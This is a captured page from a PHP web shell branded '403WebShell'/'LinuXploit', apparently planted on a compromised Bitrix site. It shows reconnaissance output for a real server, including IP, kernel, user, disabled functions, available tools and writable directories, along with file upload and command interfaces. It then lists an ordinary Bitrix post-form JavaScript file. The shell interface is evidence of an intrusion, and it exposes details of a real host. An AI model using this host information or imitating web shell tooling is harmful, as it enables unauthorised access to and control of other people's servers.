%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.145.179.120
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/.default/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.post.form/templates/.default/src/index.js
import {Type} from 'main.core';
import {EventEmitter} from 'main.core.events';
import Editor from "./editor";
import TasksLimit from "./taskslimit";

	window['LHEPostForm'] = {

		//region compatibility
		getEditor: function(editor)
		{
			return (window["BXHtmlEditor"] ? window["BXHtmlEditor"].Get((typeof editor == "object" ? editor.id : editor)) : null);
		},

		getHandler: function(editor)
		{
			const id = Type.isStringFilled(editor) ? editor : editor.id;
			return Editor.repo.get(id);
		},

		getHandlerByFormId: function(formId)
		{
			let result = null;
			Editor.repo.forEach((editor) => {
				if (editor.getFormId() === formId)
				{
					result = editor;
				}
			});
			return result;
		},

		reinitData: function(editorID, text, data)
		{
			const files = {};
			Object.entries(data).forEach(([userFieldName, userField]) => {
				if (Type.isPlainObject(userField)
					&& userField['USER_TYPE_ID']
					&& userField['VALUE']
					&& Object.values(userField['VALUE']).length > 0
				)
				{
					files[userFieldName] = userField;
				}
			});

			const handler = this.getHandler(editorID);
			if (handler && (handler.isReady || Type.isStringFilled(text) || Object.values(files).length > 0))
			{
				handler.exec(handler.reinit, [text, files]);
			}
			return false;
		},

		reinitDataBefore: function(editorID)
		{
			const handler = Editor.repo.get(editorID);
			if (handler && handler.getEventObject())
			{
				EventEmitter.emit(handler.getEventObject(), 'onReinitializeBefore', [handler]);
			}
		}
		//endregion
	}

export {
	Editor as PostForm,
	TasksLimit as PostFormTasksLimit,
}

Youez - 2016 - github.com/yon3zu
LinuXploit